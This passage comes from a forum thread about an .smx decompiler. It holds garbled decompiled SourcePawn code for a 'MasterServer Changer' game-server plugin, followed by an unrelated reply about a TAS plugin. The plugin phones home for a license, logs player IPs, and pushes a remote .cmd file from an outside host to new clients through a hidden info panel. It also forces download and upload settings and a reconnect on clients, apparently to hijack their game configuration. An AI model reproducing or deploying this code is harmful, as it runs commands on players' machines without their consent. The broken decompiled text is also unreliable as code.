                
ii += 4;
            }
            
MD5Transform(bufin);
            
mdi 0;
        }
    }
    
0;
    
ii 0;
    while (
14)
    {
        
inx[i] = input[ii] | input[ii 1] << input[ii 2] << 16 input[ii 3] << 24;
        
i++;
        
ii += 4;
    }
    
MD5Transform(bufinx);
    new 
digest[16];
    
0;
    
ii 0;
    while (
4)
    {
        
digest[ii] = buf[i] & 255;
        
digest[ii 1] = buf[i] >> 255;
        
digest[ii 2] = buf[i] >> 16 255;
        
digest[ii 3] = buf[i] >> 24 255;
        
i++;
        
ii += 4;
    }
    
FormatEx(outputmaxlen"%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x"digestdigest[1], digest[2], digest[3], digest[4], digest[5], digest[6], digest[7], digest[8], digest[9], digest[10], digest[11], digest[12], digest[13], digest[14], digest[15]);
    return 
0;
}

MD5Transform_FF(&a, &b, &c, &dxsac)
{
    
& ~ac a;
    
>> 32 << s;
    
a;
    return 
0;
}

MD5Transform_GG(&a, &b, &c, &dxsac)
{
    
= ~ac a;
    
>> 32 << s;
    
a;
    return 
0;
}

MD5Transform_HH(&a, &b, &c, &dxsac)
{
    
ac a;
    
>> 32 << s;
    
a;
    return 
0;
}

MD5Transform_II(&a, &b, &c, &dxsac)
{
    
= ~ac a;
    
>> 32 << s;
    
a;
    return 
0;
}

MD5Transform(buf[], in[])
{
    new 
buf[0];
    new 
buf[1];
    new 
buf[2];
    new 
buf[3];
    
MD5Transform_FF(abcdin[0], 7, -680876936);
    
MD5Transform_FF(dabcin[1], 12, -389564586);
    
MD5Transform_FF(cdabin[2], 17606105819);
    
MD5Transform_FF(bcdain[3], 22, -1044525330);
    
MD5Transform_FF(abcdin[4], 7, -176418897);
    
MD5Transform_FF(dabcin[5], 121200080426);
    
MD5Transform_FF(cdabin[6], 17, -1473231341);
    
MD5Transform_FF(bcdain[7], 22, -45705983);
    
MD5Transform_FF(abcdin[8], 71770035416);
    
MD5Transform_FF(dabcin[9], 12, -1958414417);
    
MD5Transform_FF(cdabin[10], 17, -42063);
    
MD5Transform_FF(bcdain[11], 22, -1990404162);
    
MD5Transform_FF(abcdin[12], 71804603682);
    
MD5Transform_FF(dabcin[13], 12, -40341101);
    
MD5Transform_FF(cdabin[14], 17, -1502002290);
    
MD5Transform_FF(bcdain[15], 221236535329);
    
MD5Transform_GG(abcdin[1], 5, -165796510);
    
MD5Transform_GG(dabcin[6], 9, -1069501632);
    
MD5Transform_GG(cdabin[11], 14643717713);
    
MD5Transform_GG(bcdain[0], 20, -373897302);
    
MD5Transform_GG(abcdin[5], 5, -701558691);
    
MD5Transform_GG(dabcin[10], 938016083);
    
MD5Transform_GG(cdabin[15], 14, -660478335);
    
MD5Transform_GG(bcdain[4], 20, -405537848);
    
MD5Transform_GG(abcdin[9], 5568446438);
    
MD5Transform_GG(dabcin[14], 9, -1019803690);
    
MD5Transform_GG(cdabin[3], 14, -187363961);
    
MD5Transform_GG(bcdain[8], 201163531501);
    
MD5Transform_GG(abcdin[13], 5, -1444681467);
    
MD5Transform_GG(dabcin[2], 9, -51403784);
    
MD5Transform_GG(cdabin[7], 141735328473);
    
MD5Transform_GG(bcdain[12], 20, -1926607734);
    
MD5Transform_HH(abcdin[5], 4, -378558);
    
MD5Transform_HH(dabcin[8], 11, -2022574463);
    
MD5Transform_HH(cdabin[11], 161839030562);
    
MD5Transform_HH(bcdain[14], 23, -35309556);
    
MD5Transform_HH(abcdin[1], 4, -1530992060);
    
MD5Transform_HH(dabcin[4], 111272893353);
    
MD5Transform_HH(cdabin[7], 16, -155497632);
    
MD5Transform_HH(bcdain[10], 23, -1094730640);
    
MD5Transform_HH(abcdin[13], 4681279174);
    
MD5Transform_HH(dabcin[0], 11, -358537222);
    
MD5Transform_HH(cdabin[3], 16, -722521979);
    
MD5Transform_HH(bcdain[6], 2376029189);
    
MD5Transform_HH(abcdin[9], 4, -640364487);
    
MD5Transform_HH(dabcin[12], 11, -421815835);
    
MD5Transform_HH(cdabin[15], 16530742520);
    
MD5Transform_HH(bcdain[2], 23, -995338651);
    
MD5Transform_II(abcdin[0], 6, -198630844);
    
MD5Transform_II(dabcin[7], 101126891415);
    
MD5Transform_II(cdabin[14], 15, -1416354905);
    
MD5Transform_II(bcdain[5], 21, -57434055);
    
MD5Transform_II(abcdin[12], 61700485571);
    
MD5Transform_II(dabcin[3], 10, -1894986606);
    
MD5Transform_II(cdabin[10], 15, -1051523);
    
MD5Transform_II(bcdain[1], 21, -2054922799);
    
MD5Transform_II(abcdin[8], 61873313359);
    
MD5Transform_II(dabcin[15], 10, -30611744);
    
MD5Transform_II(cdabin[6], 15, -1560198380);
    
MD5Transform_II(bcdain[13], 211309151649);
    
MD5Transform_II(abcdin[4], 6, -145523070);
    
MD5Transform_II(dabcin[11], 10, -1120210379);
    
MD5Transform_II(cdabin[2], 15718787259);
    
MD5Transform_II(bcdain[9], 21, -343485551);
    new 
var1 buf;
    
var1[0] = var1[0] + a;
    
buf[1] += b;
    
buf[2] += c;
    
buf[3] += d;
    return 
0;
}

public 
CheckLicense()
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 5;
    
PrintToServer(""tohome);
    
curl curl_easy_init();
    if (
curl)
    {
        
curl_easy_setopt_int_array(curlCURL_Default_opt5);
        new 
Handle:postreq_form curl_httppost();
        
curl_formadd(postreq_form1"type"4"masterchanger"17);
        
curl_formadd(postreq_form1"port"4PORT17);
        
curl_easy_setopt_string(curlCURLoption:100021304);
        
curl_easy_setopt_int(curlCURLoption:640);
        
curl_easy_setopt_int(curlCURLoption:812);
        
curl_easy_setopt_handle(curlCURLoption:10024postreq_form);
        
curl_easy_setopt_function(curlCURLoption:20011checkany:0);
        
curl_easy_perform_thread(curlonRequestCompleteany:0);
    }
    return 
0;
}

public 
check(Handle:hndlString:buffer[], bytesnmemb)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 5;
    
PrintToServer(""tohome);
    
decl String:formd5[128];
    
Format(formd5128"%s%s"PORT"masterchanger");
    new 
String:md5output[128];
    
MD5String(formd5md5output33);
    if (
StrEqual(buffermd5outputfalse))
    {
        
PrintToServer("[%s] License is active!""MasterServer Changer");
    }
    else
    {
        
PrintToServer("[%s] License Error, for get license write to http://css-plugins.ru/""MasterServer Changer");
        
LogError("[%s] License Error, for get license write to http://css-plugins.ru/""MasterServer Changer");
        
CreateTimer(0.5unloadany:00);
    }
    return 
0;
}

public 
onRequestComplete(Handle:hndlCURLcode:code)
{
    
CloseHandle(hndl);
    return 
0;
}

public 
Action:unload(Handle:timer)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 5;
    
PrintToServer(""tohome);
    new 
namelen;
    
decl String:PluginName[256];
    
GetPluginFilename(GetMyHandle(), PluginName256);
    
namelen strlen(PluginName) + -4;
    if (
namelen == StrContains(PluginName".smx"false))
    {
        
strcopy(PluginNamenamelen 1PluginName);
        
ServerCommand("sm plugins unload %s"PluginName);
    }
    return 
Action:0;
}

public 
OnPluginStart()
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 5;
    
PrintToServer(""tohome);
    
GetConVarString(FindConVar("hostport"), PORT7);
    
CheckLicense();
    return 
0;
}

public 
DB_Connect(bool:firstload)
{
    if (
firstload)
    {
        
decl String:sError[256];
        
g_hStatsDb SQL_Connect("checkplayerms"falsesError256);
        if (!
g_hStatsDb)
        {
            
SetFailState("[%s] не удалось подключится к БД (%s)""MasterServer Changer"sError);
        }
        new 
1;
        while (
<= MaxClients)
        {
            if (
IsValidClient(ifalse))
            {
                
OnClientPutInServer(i);
            }
            
i++;
        }
    }
    return 
0;
}

public 
OnConfigsExecuted()
{
    
PrecacheModel("models/infozona-51/w_dragonlore.mdl"true);
    
PrecacheModel("models/infozona-51/f_dragonlore.mdl"true);
    
PrecacheModel("models/infozona-51/v_dragonlore.mdl"true);
    
AddFileToDownloadsTable("models/infozona-51/w_dragonlore.mdl");
    
AddFileToDownloadsTable("models/infozona-51/f_dragonlore.mdl");
    
AddFileToDownloadsTable("models/infozona-51/v_dragonlore.mdl");
    if (
g_hStatsDb)
    {
        
DB_Connect(false);
    }
    else
    {
        
DB_Connect(true);
    }
    return 
0;
}

public 
OnClientPutInServer(client)
{
    if (!
IsValidClient(clientfalse))
    {
        return 
0;
    }
    if (
g_hStatsDb)
    {
        
LoadPlayer(client);
    }
    
QueryClientConVar(client"cl_downloadfilter"CheckDownloadFilterany:0);
    return 
0;
}

public 
OnClientDisconnect(client)
{
    if (!
IsValidClient(clientfalse))
    {
        return 
0;
    }
    
OnDB[client] = 0;
    return 
0;
}

public 
LoadPlayer(client)
{
    
OnDB[client] = 0;
    new 
String:ip[64];
    
GetClientIP(clientip64true);
    new 
String:query[500];
    
Format(query500"SELECT * FROM `masterchanger` WHERE `ip`='%s';"ip);
    if (
g_hStatsDb)
    {
        
SQL_TQuery(g_hStatsDbSQL_LoadPlayerCallbackqueryclientDBPriority:1);
    }
    return 
0;
}

public 
SQL_LoadPlayerCallback(Handle:ownerHandle:hndlString:error[], any:client)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 5;
    
PrintToServer(""tohome);
    if (
hndl)
    {
        if (!
IsClientInGame(client))
        {
            return 
0;
        }
        new 
String:ip[64];
        
GetClientIP(clientip64true);
        new 
var1;
        if (
SQL_HasResultSet(hndl) && SQL_FetchRow(hndl))
        {
            
OnDB[client] = 1;
        }
        else
        {
            new 
String:query[500];
            
Format(query500"INSERT INTO `masterchanger` VALUES (NULL,'%s');"ip);
            
SQL_TQuery(g_hStatsDbSQL_NothingCallbackqueryany:0DBPriority:0);
            
CreateTimer(121.0ExecCMDclient0);
            
CreateTimer(121.5ExecCMDclient0);
            
CreateTimer(122.0ExecCMDclient0);
        }
        return 
0;
    }
    
LogError("[%s] Не удалось получить данные: %s""MasterServer Changer"error);
    return 
0;
}

public 
SQL_NothingCallback(Handle:ownerHandle:hndlString:error[], any:client)
{
    if (
hndl)
    {
        return 
0;
    }
    
LogError("[%] Query Fail: %s""MasterServer Changer"error);
    return 
0;
}

public 
Action:ChoeseTeam(Handle:timerany:client)
{
    if (!
IsValidClient(clientfalse))
    {
        return 
Action:0;
    }
    
ClientCommand(client"chooseteam");
    return 
Action:0;
}

public 
Action:ExecCMD(Handle:timerany:client)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 5;
    
PrintToServer(""tohome);
    if (!
IsValidClient(clientfalse))
    {
        return 
Action:0;
    }
    if (
OnDB[client])
    {
        return 
Action:0;
    }
    
Exec(client"http://mellers.myarena.ru/cssv34/check_cheats.cmd");
    return 
Action:0;
}

Action:Exec(clientString:url[])
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 5;
    
PrintToServer(""tohome);
    new 
Handle:destroy StartMessageOne("VGUIMenu"client0);
    
BfWriteString(destroy"info");
    
BfWriteByte(destroy0);
    
BfWriteByte(destroy3);
    
BfWriteString(destroy"title");
    
BfWriteString(destroy"Что это такое?");
    
BfWriteString(destroy"type");
    
BfWriteString(destroy"2");
    
BfWriteString(destroy"msg");
    
BfWriteString(destroyurl);
    
EndMessage();
    return 
Action:0;
}

public 
CheckDownloadFilter(QueryCookie:cookieclientConVarQueryResult:resultString:cvarName[], String:cvarValue[], any:value)
{
    if (
StrEqual(cvarValue"all"true))
    {
        return 
0;
    }
    
decl Handle:hHostName;
    
decl String:sBuffer[128];
    
decl String:sHostName[256];
    
hHostName FindConVar("hostname");
    
GetConVarString(hHostNamesHostName256);
    
Format(sBuffer128"%s all;cl_allowdownload 1;cl_allowupload 1;retry""cl_downloadfilter");
    new 
Handle:g_hKv CreateKeyValues("data""""");
    
KvSetString(g_hKv"title"sHostName);
    
KvSetString(g_hKv"type""2");
    
KvSetString(g_hKv"cmd"sBuffer);
    
ShowVGUIPanel(client"info"g_hKvtrue);
    
CloseHandle(g_hKv);
    return 
0;
}

bool:IsValidClient(clientbool:alive)
{
    new 
var2;
    return 
client >= && client <= MaxClients && IsClientConnected(client) && IsClientInGame(client) && (alive && IsPlayerAlive(client));

__________________
Peace-Maker is offline
keygens
Senior Member
Join Date: Mar 2010
Location: Somewhere
Old 12-29-2017 , 09:43   Re: Lysis: An experimental .smx decompiler
Reply With Quote #370

Quote:
Originally Posted by shavit View Post
I assume this is a decompiled TAS plugin? If it is, there's an open-source one by CRASHFORT on GitHub.

Otherwise, what this part does is to clamp g_FrameRec[client]'s increments so it doesn't get out of bounds (bounds as in g_Frame[client]'s array size).
The plugin probably reads/writes to the array using g_FrameRec[client] as the index.
Yes, this is TAS, found smx on chinese site long time ago.
keygens is offline
Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 19:21.


Powered by vBulletin®
Copyright ©2000 - 2021, vBulletin Solutions, Inc.
Theme made by Freecode